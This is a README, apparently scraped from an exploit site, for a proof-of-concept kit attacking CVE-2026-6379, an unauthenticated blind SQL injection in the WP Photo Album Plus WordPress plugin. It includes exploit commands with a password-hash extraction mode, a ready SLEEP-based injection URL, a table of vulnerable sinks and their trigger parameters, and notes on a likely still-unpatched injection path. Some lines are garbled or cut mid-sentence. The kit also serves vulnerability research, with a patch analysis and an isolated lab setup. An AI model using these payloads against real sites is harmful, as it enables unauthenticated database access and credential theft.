Share
## https://sploitus.com/exploit?id=EB01DF6E-30B2-59EF-B660-FBE7BE346FC8
# CVE-2026-6379 โ€” WP Photo Album Plus :8080/?page_id=" --mode probe
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode probe-calendar
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode version
python3 ../pocs/exploit.py "http://:8080/?page_id=" --mode hash
```

A vulnerable target replies in `~5s` to the SLEEP probe; a patched target replies in `:8080/?page_id=&wppa-occur=1&wppa-supersearch=,o,,x%27%20OR%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))A)--%20-"
```

---

## Layout

```
cve-2026-6379-wppa/
โ”œโ”€โ”€ README.md                  # this file
โ”œโ”€โ”€ docs/
โ”‚   โ”œโ”€โ”€ writeup.md             # root-cause + patch analysis
โ”‚   โ””โ”€โ”€ prompts.md             # AI-research prompts that distilled this kit
โ”œโ”€โ”€ lab/
โ”‚   โ”œโ”€โ”€ docker-compose.yml     # WordPress 6.5 + MySQL 8 + WPPA+ 9.1.10.011
โ”‚   โ”œโ”€โ”€ setup.sh               # bring-up / tear-down / purge
โ”‚   โ””โ”€โ”€ init/install.sh        # idempotent installer (wp-cli)
โ””โ”€โ”€ pocs/
    โ”œโ”€โ”€ exploit.py             # time-based blind SQLi (probe / version / user / hash)
    โ””โ”€โ”€ test_oracle.sh         # end-to-end integration test
```

---

## How the bug works (one-paragraph)

`wppa_get_photos()` parses the request parameter `wppa-supersearch` as a
CSV `s1,type,s3,DATA`. When `type='o'` (Owner), `DATA` is concatenated
directly into a SQL string:

```php
$query = "SELECT id FROM $wpdb->wppa_photos
          WHERE owner = '" . $data . "' AND album > 0 ORDER BY $order";
```

No quoting, no `$wpdb->prepare`. Setting `wppa-supersearch=,o,,x' OR (...)-- -`
escapes the quoted owner and runs arbitrary SQL. The endpoint is the public
front-end page that hosts the `[wppa]` shortcode, so **no authentication is
required**.

The fix wraps every previously-concatenated case in `$wpdb->prepare(..., %s)`.

---

## Sinks fixed by the same patch (commit `d2b0d05d`)

The CVE-2026-6379 patch rewrites **six** distinct SQL sinks inside
`wppa_get_photos()` in `wppa-functions.php`. Both PoC modes (`probe` and
`probe-calendar`) hit independent ones; the others differ only in payload
shape. All are unauthenticated and reachable via the same `wppa-occur=N`
gating as the primary sink.

| # | Sink (vulnerable line) | Trigger parameters | PoC mode |
|---|---|---|---|
| 1 | **owner** โ€” `WHERE owner = '$data'` (line 1244) | `wppa-supersearch=,o,,โ€ฆ` | `--mode probe` (validated live) |
| 2 | **name** โ€” `WHERE sname = ''` (line 1237) | `wppa-supersearch=,n,,โ€ฆ` | not exploited (slug filter strips quotes) |
| 3 | **tag** โ€” `WHERE tags LIKE '%$d%'` (line 1254) | `wppa-supersearch=,g,,โ€ฆ` | constrained by `wppa_sanitize_tags()` |
| 4 | **calendar `exifdtm`** โ€” `WHERE exifdtm LIKE '%'` (line 1361) | `wppa-calendar=exifdtm&wppa-caldate=โ€ฆ` | `--mode probe-calendar` (validated live) |
| 5 | **calendar `timestamp`** โ€” `WHERE timestamp >= $t1 AND timestamp prepare( ... IN (%s) ... ) )` โ€” likely separate vulnerability

**Status:** present in 9.1.11.001 (post-patch). Not addressed by `d2b0d05d`.
Candidate for a follow-up CVE.

`%s` is not valid for a comma-separated `IN` list (it always emits a single
quoted string). The plugin works around that by wrapping the prepared
statement in `stripslashes()`, which removes the very escaping `prepare()`
just added โ€” re-opening the injection if any list element is attacker-tainted.

Representative occurrences: `wppa-functions.php` lines 660, 711, 831, 838,
889, 895, 900, 971, 1028, 1034, 1041, 1122, 1144, 1190, 1410, 1414, 1465,
1470, 1476, 1481, 1491.

Hunt query for variant analysis:

```bash
docker exec cve26-6379-wp grep -n "stripslashes( \$wpdb->prepare" \
  /var/www/html/wp-content/plugins/wp-photo-album-plus/wppa-functions.php
```

### `ORDER BY $order` โ€” partially addressed

The patch removed `ORDER BY $order` from the calendar/IN-clause sinks but
left it in others. `$order` is set from plugin runtime state (settings
table) โ€” exploitability requires a write path into that state. Treat as
hardening.

### `wp_strip_all_tags()` used as SQL sanitizer (variant of #4)

`wp_strip_all_tags` strips HTML, not SQL. Wherever it appears around a
quoted SQL fragment, that fragment is injectable. Beyond `caldate`, audit
any other request value that flows through this function before
concatenation.

---

## Validation matrix

| State                            | `probe`                          | `probe-calendar`                |
|----------------------------------|----------------------------------|---------------------------------|
| Vulnerable (9.1.10.011)          | `[+] VULNERABLE โ€” ~5.0s โ‰ฅ 3.5s` | `[+] VULNERABLE โ€” ~5.0s โ‰ฅ 3.5s`|
| Patched (9.1.11.001)             | `[-] Not confirmed โ€” ~0.04s`     | `[-] Not confirmed โ€” ~0.04s`    |
| Plugin disabled                  | `[-] Not confirmed โ€” ~0.04s`     | `[-] Not confirmed โ€” ~0.04s`    |
| Page without `[wppa]` shortcode  | `[-] Not confirmed โ€” ~0.04s`     | `[-] Not confirmed โ€” ~0.04s`    |

Switch versions on a running lab:

```bash
# Patched:
docker exec cve26-6379-wp wp --path=/var/www/html --allow-root \
  plugin install wp-photo-album-plus --version=9.1.11.001 --force --activate \
  --allow-root || true
# Re-run probe; should be negative.
```

---

## Safety

* **Run on an isolated network only.** The bug is unauthenticated.
* The lab uses default WP creds `admin / adminadmin` โ€” never expose to the internet.
* Tear down with `./setup.sh purge` (drops the database volume).

---

## Reference

* WPScan: 
* Patch commit: 
* `wppa-functions.php` (vulnerable): 
* `wppa-functions.php` (patched):